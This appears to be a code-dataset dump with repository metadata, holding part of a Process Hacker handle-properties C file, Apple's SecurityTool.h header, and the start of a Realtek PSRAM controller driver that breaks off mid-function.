{
PhInsertEMenuItem(parentItem, PhCreateEMenuItem(0, ID_HANDLE_OBJECTPROPERTIES1, PhaAppendCtrlEnter(L"Open &key", EnableShortcut), NULL, NULL), indexInParent);
}
else if (PhEqualString2(Info->TypeName, L"Process", TRUE))
{
PhInsertEMenuItem(parentItem, PhCreateEMenuItem(0, ID_HANDLE_OBJECTPROPERTIES1, PhaAppendCtrlEnter(L"Process propert&ies", EnableShortcut), NULL, NULL), indexInParent);
}
else if (PhEqualString2(Info->TypeName, L"Section", TRUE))
{
PhInsertEMenuItem(parentItem, PhCreateEMenuItem(0, ID_HANDLE_OBJECTPROPERTIES1, PhaAppendCtrlEnter(L"Read/Write &memory", EnableShortcut), NULL, NULL), indexInParent);
}
else if (PhEqualString2(Info->TypeName, L"Thread", TRUE))
{
PhInsertEMenuItem(parentItem, PhCreateEMenuItem(0, ID_HANDLE_OBJECTPROPERTIES1, PhaAppendCtrlEnter(L"Go to t&hread", EnableShortcut), NULL, NULL), indexInParent);
}
}
static NTSTATUS PhpDuplicateHandleFromProcessItem(
_Out_ PHANDLE NewHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ HANDLE ProcessId,
_In_ HANDLE Handle
)
{
NTSTATUS status;
HANDLE processHandle;
if (!NT_SUCCESS(status = PhOpenProcess(
&processHandle,
PROCESS_DUP_HANDLE,
ProcessId
)))
return status;
status = NtDuplicateObject(
processHandle,
Handle,
NtCurrentProcess(),
NewHandle,
DesiredAccess,
0,
0
);
NtClose(processHandle);
return status;
}
static VOID PhpShowProcessPropContext(
_In_ PVOID Parameter
)
{
PhShowProcessProperties(Parameter);
PhDereferenceObject(Parameter);
}
VOID PhShowHandleObjectProperties1(
_In_ HWND hWnd,
_In_ PPH_HANDLE_ITEM_INFO Info
)
{
if (PhIsNullOrEmptyString(Info->TypeName))
return;
if (PhEqualString2(Info->TypeName, L"File", TRUE) || PhEqualString2(Info->TypeName, L"DLL", TRUE) ||
PhEqualString2(Info->TypeName, L"Mapped file", TRUE) || PhEqualString2(Info->TypeName, L"Mapped image", TRUE))
{
if (Info->BestObjectName)
{
PhShellExecuteUserString(
hWnd,
L"FileBrowseExecutable",
Info->BestObjectName->Buffer,
FALSE,
L"Make sure the Explorer executable file is present."
);
}
else
PhShowError2(hWnd, L"Unable to open the file location.", L"%s", L"The object is unnamed.");
}
else if (PhEqualString2(Info->TypeName, L"Key", TRUE))
{
if (Info->BestObjectName)
PhShellOpenKey2(hWnd, Info->BestObjectName);
else
PhShowError2(hWnd, L"Unable to open key.", L"%s", L"The object is unnamed.");
}
else if (PhEqualString2(Info->TypeName, L"Process", TRUE))
{
HANDLE processHandle;
HANDLE processId;
PPH_PROCESS_ITEM targetProcessItem;
processId = NULL;
if (KphLevel() >= KphLevelMed)
{
if (NT_SUCCESS(PhOpenProcess(
&processHandle,
PROCESS_QUERY_LIMITED_INFORMATION,
Info->ProcessId
)))
{
PROCESS_BASIC_INFORMATION basicInfo;
if (NT_SUCCESS(KphQueryInformationObject(
processHandle,
Info->Handle,
KphObjectProcessBasicInformation,
&basicInfo,
sizeof(PROCESS_BASIC_INFORMATION),
NULL
)))
{
processId = basicInfo.UniqueProcessId;
}
NtClose(processHandle);
}
}
else
{
HANDLE handle;
PROCESS_BASIC_INFORMATION basicInfo;
if (NT_SUCCESS(PhpDuplicateHandleFromProcessItem(
&handle,
PROCESS_QUERY_LIMITED_INFORMATION,
Info->ProcessId,
Info->Handle
)))
{
if (NT_SUCCESS(PhGetProcessBasicInformation(handle, &basicInfo)))
processId = basicInfo.UniqueProcessId;
NtClose(handle);
}
}
if (processId)
{
targetProcessItem = PhReferenceProcessItem(processId);
if (targetProcessItem)
{
ProcessHacker_ShowProcessProperties(targetProcessItem);
PhDereferenceObject(targetProcessItem);
}
else
{
PhShowError2(hWnd, L"Unable to show the process properties.", L"%s", L"The process does not exist.");
}
}
}
else if (PhEqualString2(Info->TypeName, L"Section", TRUE))
{
NTSTATUS status;
HANDLE handle = NULL;
BOOLEAN readOnly = FALSE;
if (!NT_SUCCESS(status = PhpDuplicateHandleFromProcessItem(
&handle,
SECTION_QUERY | SECTION_MAP_READ | SECTION_MAP_WRITE,
Info->ProcessId,
Info->Handle
)))
{
status = PhpDuplicateHandleFromProcessItem(
&handle,
SECTION_QUERY | SECTION_MAP_READ,
Info->ProcessId,
Info->Handle
);
readOnly = TRUE;
}
if (handle)
{
PPH_STRING sectionName = NULL;
SECTION_BASIC_INFORMATION basicInfo;
SIZE_T viewSize = PH_MAX_SECTION_EDIT_SIZE;
PVOID viewBase = NULL;
BOOLEAN tooBig = FALSE;
PhGetHandleInformation(NtCurrentProcess(), handle, ULONG_MAX, NULL, NULL, NULL, §ionName);
if (NT_SUCCESS(status = PhGetSectionBasicInformation(handle, &basicInfo)))
{
if (basicInfo.MaximumSize.QuadPart <= PH_MAX_SECTION_EDIT_SIZE)
viewSize = (SIZE_T)basicInfo.MaximumSize.QuadPart;
else
tooBig = TRUE;
status = NtMapViewOfSection(
handle,
NtCurrentProcess(),
&viewBase,
0,
0,
NULL,
&viewSize,
ViewUnmap,
0,
readOnly ? PAGE_READONLY : PAGE_READWRITE
);
if (status == STATUS_SECTION_PROTECTION && !readOnly)
{
status = NtMapViewOfSection(
handle,
NtCurrentProcess(),
&viewBase,
0,
0,
NULL,
&viewSize,
ViewUnmap,
0,
PAGE_READONLY
);
}
if (NT_SUCCESS(status))
{
PPH_SHOW_MEMORY_EDITOR showMemoryEditor = PhAllocate(sizeof(PH_SHOW_MEMORY_EDITOR));
if (tooBig)
PhShowWarning(hWnd, L"%s", L"The section size is greater than 32 MB. Only the first 32 MB will be available.");
memset(showMemoryEditor, 0, sizeof(PH_SHOW_MEMORY_EDITOR));
showMemoryEditor->ProcessId = NtCurrentProcessId();
showMemoryEditor->BaseAddress = viewBase;
showMemoryEditor->RegionSize = viewSize;
showMemoryEditor->SelectOffset = ULONG_MAX;
showMemoryEditor->SelectLength = 0;
showMemoryEditor->Title = sectionName ? PhConcatStrings2(L"Section - ", sectionName->Buffer) : PhCreateString(L"Section");
showMemoryEditor->Flags = PH_MEMORY_EDITOR_UNMAP_VIEW_OF_SECTION;
ProcessHacker_ShowMemoryEditor(showMemoryEditor);
}
else
{
PhShowStatus(hWnd, L"Unable to map a view of the section.", status, 0);
}
}
PhClearReference(§ionName);
NtClose(handle);
}
if (!NT_SUCCESS(status))
{
PhShowStatus(hWnd, L"Unable to query the section.", status, 0);
}
}
else if (PhEqualString2(Info->TypeName, L"Thread", TRUE))
{
HANDLE processHandle;
CLIENT_ID clientId;
PPH_PROCESS_ITEM targetProcessItem;
PPH_PROCESS_PROPCONTEXT propContext;
clientId.UniqueProcess = NULL;
clientId.UniqueThread = NULL;
if (KphLevel() >= KphLevelMed)
{
if (NT_SUCCESS(PhOpenProcess(
&processHandle,
PROCESS_QUERY_LIMITED_INFORMATION,
Info->ProcessId
)))
{
THREAD_BASIC_INFORMATION basicInfo;
if (NT_SUCCESS(KphQueryInformationObject(
processHandle,
Info->Handle,
KphObjectThreadBasicInformation,
&basicInfo,
sizeof(THREAD_BASIC_INFORMATION),
NULL
)))
{
clientId = basicInfo.ClientId;
}
NtClose(processHandle);
}
}
else
{
HANDLE handle;
THREAD_BASIC_INFORMATION basicInfo;
if (NT_SUCCESS(PhpDuplicateHandleFromProcessItem(
&handle,
THREAD_QUERY_LIMITED_INFORMATION,
Info->ProcessId,
Info->Handle
)))
{
if (NT_SUCCESS(PhGetThreadBasicInformation(handle, &basicInfo)))
clientId = basicInfo.ClientId;
NtClose(handle);
}
}
if (clientId.UniqueProcess)
{
targetProcessItem = PhReferenceProcessItem(clientId.UniqueProcess);
if (targetProcessItem)
{
propContext = PhCreateProcessPropContext(NULL, targetProcessItem);
PhDereferenceObject(targetProcessItem);
PhSetSelectThreadIdProcessPropContext(propContext, clientId.UniqueThread);
ProcessHacker_Invoke(PhpShowProcessPropContext, propContext);
}
else
{
PhShowError2(hWnd, L"Unable to show the process properties.", L"%s", L"The process does not exist.");
}
}
}
}
VOID PhShowHandleObjectProperties2(
_In_ HWND hWnd,
_In_ PPH_HANDLE_ITEM_INFO Info
)
{
if (PhIsNullOrEmptyString(Info->TypeName))
return;
if (PhEqualString2(Info->TypeName, L"File", TRUE) || PhEqualString2(Info->TypeName, L"DLL", TRUE) ||
PhEqualString2(Info->TypeName, L"Mapped file", TRUE) || PhEqualString2(Info->TypeName, L"Mapped image", TRUE))
{
if (Info->BestObjectName)
PhShellProperties(hWnd, Info->BestObjectName->Buffer);
else
PhShowError2(hWnd, L"Unable to open the file properties.", L"%s", L"The object is unnamed.");
}
}
|
aa76352c8e82870bd41d40228817a0b729f3e19f
|
1577e1cf4e89584a125cffb855ca50a9654c6d55
|
/Security/SecurityTool/sharedTool/SecurityTool.h
|
36f1de75810989e4f3d365be93d02cf56b3a02ae
|
[] |
no_license
|
apple-open-source/macos
|
a4188b5c2ef113d90281d03cd1b14e5ee52ebffb
|
2d2b15f13487673de33297e49f00ef94af743a9a
|
refs/heads/master
| 2023-08-01T11:03:26.870408
| 2023-03-27T00:00:00
| 2023-03-27T00:00:00
| 180,595,052
| 124
| 24
| null | 2022-12-27T14:54:09
| 2019-04-10T14:06:23
| null |
UTF-8
|
C
| false
| false
| 1,947
|
h
|
SecurityTool.h
|
/*
* Copyright (c) 2003-2004,2006-2007,2013 Apple Inc. All Rights Reserved.
*
* @APPLE_LICENSE_HEADER_START@
*
* This file contains Original Code and/or Modifications of Original Code
* as defined in and that are subject to the Apple Public Source License
* Version 2.0 (the 'License'). You may not use this file except in
* compliance with the License. Please obtain a copy of the License at
* http://www.opensource.apple.com/apsl/ and read it before using this
* file.
*
* The Original Code and all software distributed under the License are
* distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
* EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
* INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
* Please see the License for the specific language governing rights and
* limitations under the License.
*
* @APPLE_LICENSE_HEADER_END@
*
* security.h
*/
#ifndef _SECURITYTOOL_H_
#define _SECURITYTOOL_H_
#include <sys/cdefs.h>
__BEGIN_DECLS
typedef int(*command_func)(int argc, char * const *argv);
/* Entry in commands array for a command. */
typedef struct command
{
const char *c_name; /* name of the command. */
command_func c_func; /* function to execute the command. */
const char *c_usage; /* usage sting for command. */
const char *c_help; /* help string for (or description of) command. */
} command;
/*
* The command array itself.
* Add commands here at will.
* Matching is done on a prefix basis. The first command in the array
* gets matched first.
*/
extern const command commands[];
/* Our one builtin command.
*/
int help(int argc, char * const *argv);
/* If 1 attempt to be as quiet as possible. */
extern int do_quiet;
/* If 1 attempt to be as verbose as possible. */
extern int do_verbose;
__END_DECLS
#endif /* _SECURITY_H_ */
|
4bd627c88dcfb910fb5b403dd15304b48843d62a
|
0744dcc5394cebf57ebcba343747af6871b67017
|
/os/board/rtl8720e/src/component/soc/amebalite/fwlib/ram_common/ameba_psram.c
|
923c1831a2e148feaf7c0bfd88bc067b616c1b31
|
[
"Apache-2.0",
"GPL-1.0-or-later",
"BSD-3-Clause",
"ISC",
"MIT",
"LicenseRef-scancode-warranty-disclaimer",
"LicenseRef-scancode-other-permissive"
] |
permissive
|
Samsung/TizenRT
|
96abf62f1853f61fcf91ff14671a5e0c6ca48fdb
|
1a5c2e00a4b1bbf4c505bbf5cc6a8259e926f686
|
refs/heads/master
| 2023-08-31T08:59:33.327998
| 2023-08-08T06:09:20
| 2023-08-31T04:38:20
| 82,517,252
| 590
| 719
|
Apache-2.0
| 2023-09-14T06:54:49
| 2017-02-20T04:38:30
|
C
|
UTF-8
|
C
| false
| false
| 26,772
|
c
|
ameba_psram.c
|
/**
******************************************************************************
* @file rtl8721dhp_psram.c
* @author
* @version V1.0.0
* @date 2017-09-17
* @brief This file contains all the functions prototypes for the psram firmware
* library, including the following functionalities of the PSRAM CTRL:
* -Initialization
*
******************************************************************************
* @attention
*
* This module is a confidential and proprietary property of RealTek and
* possession or use of this module requires written permission of RealTek.
*
* Copyright(c) 2016, Realtek Semiconductor Corporation. All rights reserved.
******************************************************************************
*/
#include "ameba_soc.h"
u8 APM_WR_INIT_LATENCY_SPEC[6] = {
APM_WR_INIT_LATENCY_3CLK,
APM_WR_INIT_LATENCY_4CLK,
APM_WR_INIT_LATENCY_5CLK,
APM_WR_INIT_LATENCY_6CLK,
APM_WR_INIT_LATENCY_7CLK,
APM_WR_INIT_LATENCY_8CLK,
};
u8 WB_WR_INIT_LATENCY_SPEC[8] = {
WB_WR_INIT_LATENCY_3CLK,
WB_WR_INIT_LATENCY_4CLK,
WB_WR_INIT_LATENCY_5CLK,
WB_WR_INIT_LATENCY_6CLK,
WB_WR_INIT_LATENCY_7CLK,
(int)NULL,
(int)NULL,
WB_WR_INIT_LATENCY_10CLK
};
static u32 PSRAM_CALIB_PATTERN[6] = {
0x11223344,
0xA55AA55A,
0x5AA55AA5,
0x44332211,
0x96696996,
0x69969669,
};
const PSRAM_Latency Psram_latency[] = {
//Clk limit latency psram type
{104, 4, (int)NULL},
{133, 5, (int)NULL},
{166, 6, (int)NULL},
{200, 7, (int)NULL},
{250, 7, PSRAM_VENDOR_WB | PSRAM_SIZE_256Mb},
{250, 8, PSRAM_VENDOR_APM},
{250, 10, PSRAM_VENDOR_WB | PSRAM_SIZE_128Mb},
{0xFF, 0xFF, 0xFFFF},
};
PSRAMINFO_TypeDef PsramInfo;
u16 psram_type = 0;
/**
* @brief get psram info
* @param none
* @retval PSRAM Type
*/
void PSRAM_INFO_Update(void)
{
u32 chipinfo = ChipInfo_PSRAMType();
u32 PsramClk = 0;
u32 PLLCLk, Div;
u32 Temp = HAL_READ32(SYSTEM_CTRL_BASE, REG_LSYS_CKSL_GRP0);
u32 ClkSel = LSYS_GET_CKSL_PSRAM(Temp);
u32 LBusSrc = LSYS_GET_CKSL_LBUS(Temp);
RRAM_TypeDef *rram = RRAM_DEV;
PsramInfo.Psram_Vendor = PSRAM_VENDOR_GET(chipinfo);
// return if mcm flash
if (PsramInfo.Psram_Vendor == PSRAM_VENDOR_NONE) {
rram->PSRAM_TYPE = PSRAM_TYPE_NONE;
return;
}
if (ClkSel == BIT_LSYS_CKSL_PSRAM_LBUS) {
if (LBusSrc) {
//current lbus clk is xtal
PsramClk = XTAL_ClkGet();
} else {
//current lbus clk is osc4m
PsramClk = 4000000;
}
} else {
Div = LSYS_GET_CKD_PSRAM(HAL_READ32(SYSTEM_CTRL_BASE, REG_LSYS_CKD_GRP0));
Div += 1;
if (ClkSel == BIT_LSYS_CKSL_PSRAM_CPUPLL) {
PLLCLk = PLL_ClkGet(CLK_CPU_MPLL);
PsramClk = PLLCLk / Div;
} else if (ClkSel == BIT_LSYS_CKSL_PSRAM_DSPPLL) {
PLLCLk = PLL_ClkGet(CLK_CPU_DPLL);
PsramClk = PLLCLk / Div;
}
}
PsramInfo.Psram_Clk_Set = PsramClk / 2;
PsramInfo.Psram_Clk_Limit = PSRAM_CLK_LIMIT_GET(chipinfo);
PsramInfo.Psram_Size = PSRAM_SIZE_GET(chipinfo);
PsramInfo.Psram_Page_size = PSRAM_PAGE_SIZE_GET(chipinfo);
PsramInfo.PSRAMC_Clk_Unit = 1000000000 / PsramClk;
PsramInfo.Psram_Resume_Cnt = Psram_RESUME_TIME / (PsramInfo.PSRAMC_Clk_Unit);
rram->PSRAM_RESUMECNT_BOOT = PsramInfo.Psram_Resume_Cnt; //for nonsecure world
if (PsramInfo.Psram_Vendor == PSRAM_VENDOR_WB) {
rram->PSRAM_TYPE = PSRAM_TYPE_WB;
if (PsramInfo.Psram_Clk_Set <= 104000000) {
PsramInfo.Psram_Latency_Set = 4;
PsramInfo.Psram_CSHI = Psram_WB_CSHI133;
} else if (PsramInfo.Psram_Clk_Set <= 133000000) {
PsramInfo.Psram_Latency_Set = 5;
PsramInfo.Psram_CSHI = Psram_WB_CSHI133;
} else if (PsramInfo.Psram_Clk_Set <= 166000000) {
PsramInfo.Psram_Latency_Set = 6;
PsramInfo.Psram_CSHI = Psram_WB_CSHI166;
} else if (PsramInfo.Psram_Clk_Set <= 200000000) {
PsramInfo.Psram_Latency_Set = 7;
PsramInfo.Psram_CSHI = Psram_WB_CSHI166;
} else if ((PsramInfo.Psram_Clk_Set <= 250000000) && (PsramInfo.Psram_Size == PSRAM_SIZE_256Mb)) {
PsramInfo.Psram_Latency_Set = 7;
PsramInfo.Psram_CSHI = Psram_WB_CSHI166;
} else if ((PsramInfo.Psram_Clk_Set <= 250000000) && (PsramInfo.Psram_Size == PSRAM_SIZE_128Mb)) {
PsramInfo.Psram_Latency_Set = 10;
PsramInfo.Psram_CSHI = Psram_WB_CSHI166;
}
} else {
rram->PSRAM_TYPE = PSRAM_TYPE_APM;
if (PsramInfo.Psram_Clk_Set <= 104000000) {
PsramInfo.Psram_Latency_Set = 4;
PsramInfo.Psram_CSHI = Psram_APM_CSHI133;
} else if (PsramInfo.Psram_Clk_Set <= 133000000) {
PsramInfo.Psram_Latency_Set = 5;
PsramInfo.Psram_CSHI = Psram_APM_CSHI133;
} else if (PsramInfo.Psram_Clk_Set <= 166000000) {
PsramInfo.Psram_Latency_Set = 6;
PsramInfo.Psram_CSHI = Psram_APM_CSHI166;
} else if (PsramInfo.Psram_Clk_Set <= 200000000) {
PsramInfo.Psram_Latency_Set = 7;
PsramInfo.Psram_CSHI = Psram_APM_CSHI200;
} else if (PsramInfo.Psram_Clk_Set <= 250000000) {
PsramInfo.Psram_Latency_Set = 8;
PsramInfo.Psram_CSHI = Psram_APM_CSHI250;
}
}
DBG_PRINTF(MODULE_BOOT, LEVEL_INFO, "PSRAM Ctrl CLK: %d Hz \n", PsramClk);
}
/**
* @brief Fills each PSPHY_InitStruct member with its default value.
* @param PSPHY_InitStruct: pointer to an PSPHY_InitStruct structure which will be initialized.
* @retval None
*/
void PSRAM_PHY_StructInit(PSPHY_InitTypeDef *PSPHY_InitStruct)
{
// 0x04
PSPHY_InitStruct->PSRAMP_PRE_CAL_PHASE = 0x2; /* only for rtl now, default choose 1 on asic */
PSPHY_InitStruct->PSRAMP_CFG_CAL_JMIN = Psram_phy_Jmin;
PSPHY_InitStruct->PSRAMP_CFG_CAL_JMAX = 0x3;
PSPHY_InitStruct->PSRAMP_CFG_CAL_J = 0x3;
PSPHY_InitStruct->PSRAMP_CFG_CAL_N = 0xA;
//0x18
PSPHY_InitStruct->PSRAMP_SW_RST_N = 0x1;
PSPHY_InitStruct->PSRAMP_LATENCY_TYPE = PSRSAM_FIX_LATENCY; //0:variable latency 1:fix leatency
PSPHY_InitStruct->PSRAMP_CAL_RWDS_PHASE = 0x1;
if (PSPHY_InitStruct->PSRAMP_LATENCY_TYPE) {
PSPHY_InitStruct->PSRAMP_RFIFO_RDY_DLY = PSPHY_RFIFO_READY_DELAY_FIX;
} else {
PSPHY_InitStruct->PSRAMP_RFIFO_RDY_DLY = PSPHY_RFIFO_READY_DELAY_VL;
}
PSPHY_InitStruct-> DDR_PAD_CTRL1 = PAD_DDR_PTB(PSRAM_PHY_PAD_DRIVING) | PAD_DDR_PT(PSRAM_PHY_PAD_DRIVING) | PAD_DDR_NT(PSRAM_PHY_PAD_DRIVING) | \
PAD_DDR_NTB(PSRAM_PHY_PAD_DRIVING) | PAD_BIT_DDR_PWDPADN_2REGU | PAD_BIT_DDR_VREF_RANGE;
PSPHY_InitStruct-> DDR_PAD_CTRL2 = PAD_DDR_S(PSRAM_PHY_VOL_TUNE);
}
/**
* @brief Initializes the PSRAM phy according to the specified
* parameters in the PSPHY_InitStruct
* @param PSPHY_InitStruct: pointer to a PSPHY_InitStruct structure that
* contains the configuration information for the specified PSRAM phy
* @retval None
*/
void PSRAM_PHY_Init(PSPHY_InitTypeDef *PSPHY_InitStruct)
{
PSPHY_TypeDef *psram_phy = PSRAMPHY_DEV;
//enable phy pad and set ddr phy pad driving strength
HAL_WRITE32(PINMUX_REG_BASE, REG_DDR_PAD_CTRL1, PSPHY_InitStruct->DDR_PAD_CTRL1);
//set REF voltage fine-tune
HAL_WRITE32(PINMUX_REG_BASE, REG_DDR_PAD_CTRL2, PSPHY_InitStruct->DDR_PAD_CTRL2);
//0x04
psram_phy->PSPHY_CAL_PAR = PSPHY_PRE_CAL_PHASE(PSPHY_InitStruct->PSRAMP_PRE_CAL_PHASE) | \
PSPHY_CFG_CAL_JMIN(PSPHY_InitStruct->PSRAMP_CFG_CAL_JMIN) | \
PSPHY_CFG_CAL_JMAX(PSPHY_InitStruct->PSRAMP_CFG_CAL_JMAX) | \
PSPHY_CFG_CAL_J(PSPHY_InitStruct->PSRAMP_CFG_CAL_J) | \
PSPHY_CFG_CAL_N(PSPHY_InitStruct->PSRAMP_CFG_CAL_N);
//0x18
psram_phy->PSPHY_PHY_CTRL = PSPHY_PSRAM_SW_RST_N(PSPHY_InitStruct->PSRAMP_SW_RST_N) | \
PSPHY_LATENCY_TYPE(PSPHY_InitStruct->PSRAMP_LATENCY_TYPE) | \
PSPHY_CAL_RWDS_PHASE(PSPHY_InitStruct->PSRAMP_CAL_RWDS_PHASE) | \
PSPHY_RFIFO_RDY_DLY(PSPHY_InitStruct->PSRAMP_RFIFO_RDY_DLY);
}
/* boot_finish time = (2^16)/40 = 1.6ms when no speedup, when speed up 256 cycles will be used */
/* 16 is defined in SPIC config form, 40 is SPIC IP clock */
/* after SPIC clock & function enable, auto mode read */
/* will be stucked when boot_finish not ready, */
/* but user mode will hang if boot_finish not ready */
VOID PSRAM_CTRL_SPU(u32 state)
{
u32 temp = 0;
/* Should decide to speedup or not before spic clk&func enable */
/* this register will write speed_up signal in spic to change BOOT_DELAY (speed_up = 1: boot_delay = 8; speed_up = 0: boot_delay = by config form) */
temp = HAL_READ32(SYSTEM_CTRL_BASE, REG_LSYS_PLAT_CTRL);
if (state == DISABLE) {
temp &= ~LSYS_BIT_PSRAM_SPDUPSIM;
} else {
temp |= LSYS_BIT_PSRAM_SPDUPSIM;
}
HAL_WRITE32(SYSTEM_CTRL_BASE, REG_LSYS_PLAT_CTRL, temp);
}
/**
* @brief Initializes the PSRAM controller according to the specified
* parameters in the PSRAM_InitStruct
* @param PSRAM_InitStruct: pointer to a PSRAM_InitTypeDef structure that
* contains the configuration information for the specified PSRAM controller
* @retval None
*/
void PSRAM_CTRL_Init(void)
{
SPIC_TypeDef *psram_ctrl = PSRAMC_DEV;
/* Disable psramc */
psram_ctrl->SSIENR = 0;
//0x00
psram_ctrl->CTRLR0 = MASK_DDR_EN | MASK_ADDR_CH | CK_MTIMES(0x1) | MASK_DATA_CH | MASK_CMD_CH;
//0x14
psram_ctrl->BAUDR = SCKDV(Psram_ClkDiv2);
//0x120
psram_ctrl->VALID_CMD = BIT_SEQ_WR_EN | BIT_SEQ_RD_EN | BIT_FRD_SINGLE | BIT_CTRLR0_CH;
//psram_ctrl->CTRLR2 &= ~BIT_FULL_WR; //bit 13 = 0 need to disable,default = 0
if (PsramInfo.Psram_Vendor == PSRAM_VENDOR_WB) {
//0x110
psram_ctrl->CTRLR2 = BIT_SO_DNUM | TX_FIFO_ENTRY(0x5) | RX_FIFO_ENTRY(0x5) | BIT_DM_ACT | BIT_DIS_DM_CA | \
WR_VL_EN(!PSRSAM_FIX_LATENCY) | RD_VL_EN(!PSRSAM_FIX_LATENCY) | RD_WEIGHT(0x2);
//0x134 waiting update typedefine
psram_ctrl->DEVICE_INFO = BIT_DATA_UNIT_2B | BIT_JEDEC_P2CMF | BIT_PSRAM | ATOM_SIZE(0x1) | BIT_RD_PAGE_EN | \
BIT_WR_PAGE_EN | PAGE_SIZE(PsramInfo.Psram_Page_size);
psram_ctrl->TPR0 = (CS_TCEM(Psram_Tcem_T25 / PsramInfo.PSRAMC_Clk_Unit / 32)) | \
(CS_SEQ_TIMEOUT(Psram_Seq_timeout)) | \
(CS_ACTIVE_HOLD(Psram_WB_CSH)) | \
(CS_H_WR_DUM_LEN(PsramInfo.Psram_CSHI / PsramInfo.PSRAMC_Clk_Unit)) | \
(CS_H_RD_DUM_LEN(PsramInfo.Psram_CSHI / PsramInfo.PSRAMC_Clk_Unit));
//0xe0
psram_ctrl->READ_FAST_SINGLE = FRD_CMD(WB_RD_CMD);
//0xf4
psram_ctrl->WRITE_SIGNLE = WR_CMD(WB_WR_CMD);
//0x11c
psram_ctrl->AUTO_LENGTH = AUTO_ADDR_LENGTH(0x5);
//0x118
psram_ctrl->USER_LENGTH = USER_ADDR_LENGTH(0x5) | USER_CMD_LENGHT(0x1);
} else {
//0x110
psram_ctrl->CTRLR2 = BIT_SO_DNUM | TX_FIFO_ENTRY(0x5) | RX_FIFO_ENTRY(0x5) | BIT_DM_ACT | \
WR_VL_EN(!PSRSAM_FIX_LATENCY) | RD_VL_EN(!PSRSAM_FIX_LATENCY) | RD_WEIGHT(0x2);
//0x134 waiting update typedefine
psram_ctrl->DEVICE_INFO = BIT_PSRAM | ATOM_SIZE(0x1) | BIT_RD_PAGE_EN | \
BIT_WR_PAGE_EN | PAGE_SIZE(PsramInfo.Psram_Page_size);
//0x138 waiting update typedefine
//CS_TCEM = 0 for seq performance
psram_ctrl->TPR0 = (CS_TCEM(Psram_Tcem_T85 / PsramInfo.PSRAMC_Clk_Unit / 32)) | \
(CS_SEQ_TIMEOUT(Psram_Seq_timeout)) | \
(CS_ACTIVE_HOLD(Psram_APM_CSH)) | \
(CS_H_WR_DUM_LEN(PsramInfo.Psram_CSHI / PsramInfo.PSRAMC_Clk_Unit)) | \
(CS_H_RD_DUM_LEN(PsramInfo.Psram_CSHI / PsramInfo.PSRAMC_Clk_Unit));
psram_ctrl->READ_FAST_SINGLE = FRD_CMD(APM_RD_CMD);
psram_ctrl->WRITE_SIGNLE = WR_CMD(APM_WR_CMD);
//0x11c
psram_ctrl->AUTO_LENGTH = AUTO_ADDR_LENGTH(0x4);
//0x118
psram_ctrl->USER_LENGTH = USER_ADDR_LENGTH(0x4) | USER_CMD_LENGHT(0x2);
}
//auto rd latency
if (PSRSAM_FIX_LATENCY) {
psram_ctrl->AUTO_LENGTH |= RD_DUMMY_LENGTH(2 * 2 * PsramInfo.Psram_Latency_Set - 4) | \
IN_PHYSICAL_CYC(PSPHY_RFIFO_READY_DELAY_FIX + 4);
if (PsramInfo.Psram_Vendor == PSRAM_VENDOR_WB) {
psram_ctrl->AUTO_LENGTH2 = WR_DUMMY_LENGTH(2 * 2 * PsramInfo.Psram_Latency_Set - 2);
} else {
psram_ctrl->AUTO_LENGTH2 = WR_DUMMY_LENGTH(2 * PsramInfo.Psram_Latency_Set - 2);
}
psram_ctrl->USER_LENGTH |= USER_RD_DUMMY_LENGTH(2 * 2 * PsramInfo.Psram_Latency_Set - 4);
} else {
psram_ctrl->AUTO_LENGTH |= RD_DUMMY_LENGTH(2 * PsramInfo.Psram_Latency_Set - 4);
psram_ctrl->AUTO_LENGTH2 = WR_DUMMY_LENGTH(2 * PsramInfo.Psram_Latency_Set - 2);
psram_ctrl->USER_LENGTH |= USER_RD_DUMMY_LENGTH(2 * PsramInfo.Psram_Latency_Set - 4);
}
while ((psram_ctrl->SR & BIT_BOOT_FIN) == 0);
}
void PSRAM_APM_DEVIC_Init(void)
{
u8 mr0[2];
u8 mr4[2];
mr0[0] = PSRAM_READ_LATENCY_CODE(PsramInfo.Psram_Latency_Set - 3) | \
PSRAM_LT_SELECT(PSRSAM_FIX_LATENCY); //0:variable latency 1:fix latency
mr4[0] = PSRAM_WRITE_LATENCY_CODE(APM_WR_INIT_LATENCY_SPEC[PsramInfo.Psram_Latency_Set - 3]);
mr0[1] = mr0[0];
mr4[1] = mr4[0];
PSRAM_REG_Write(0, 0x0, 2, mr0);
PSRAM_REG_Write(0, 0x4, 2, mr4);
}
void PSRAM_WB_DEVIC_Init(void)
{
u8 data[2];
data[0] = PSRAM_WB_RESERVER | \
PSRAM_WB_DRIVE_STRENGTH(0x0) | \
PSRAM_WB_DPD_EN(1); // keep default driving stength
data[1] = PSRAM_WB_BURST_LENGTH(0x0) | \
PSRAM_WB_HyBURSE_EN | \
PSRAM_WB_FIX_LATENCY_EN(PSRSAM_FIX_LATENCY) | \
PSRAM_WB_INIT_LATENCY(WB_WR_INIT_LATENCY_SPEC[PsramInfo.Psram_Latency_Set - 3]); // 1 for 6T 150M, 2 for 7T 200M
PSRAM_REG_Write(1, PSRAM_WB_CR0, 2, data);
}
/**
* @brief Get APM/Winbond PSRAM register value
* @param type: APM :0 Winbond:1
* @param addr: APM/Winbond PSRAM register addr
* @param read_len: read data length
* @param read_data: read data output buf
* @retval None
*/
NON_DRAM_TEXT_SECTION
void PSRAM_REG_Read(u32 type, u32 addr, u32 read_len, u8 *read_data, u32 CR)
{
SPIC_TypeDef *psram_ctrl = PSRAMC_DEV;
u32 rx_num = 0;
/* Wait spic busy done before switch to user mode */
while (psram_ctrl->SR & BIT_BUSY);
/* Enter User Mode */
psram_ctrl->CTRLR0 |= BIT_USER_MODE;
/* Disable SSIENR to program control registers*/
psram_ctrl->SSIENR = 0;
/* Set RX_NDF: frame number of receiving data. TX_NDF should be set in both transmit mode and receive mode.
TX_NDF should be set to zero in receive mode to skip the TX_DATA phase. */
psram_ctrl->RX_NDF = RX_NDF(read_len);
psram_ctrl->TX_NDF = 0;
//DBG_8195A("RX_NDF = %x %x\n", &(psram_ctrl->RX_NDF), psram_ctrl->RX_NDF);
//set rx mode
psram_ctrl->CTRLR0 |= TMOD(3);
//DBG_8195A("CTRLR0 = %x %x\n", &(psram_ctrl->CTRLR0), psram_ctrl->CTRLR0);
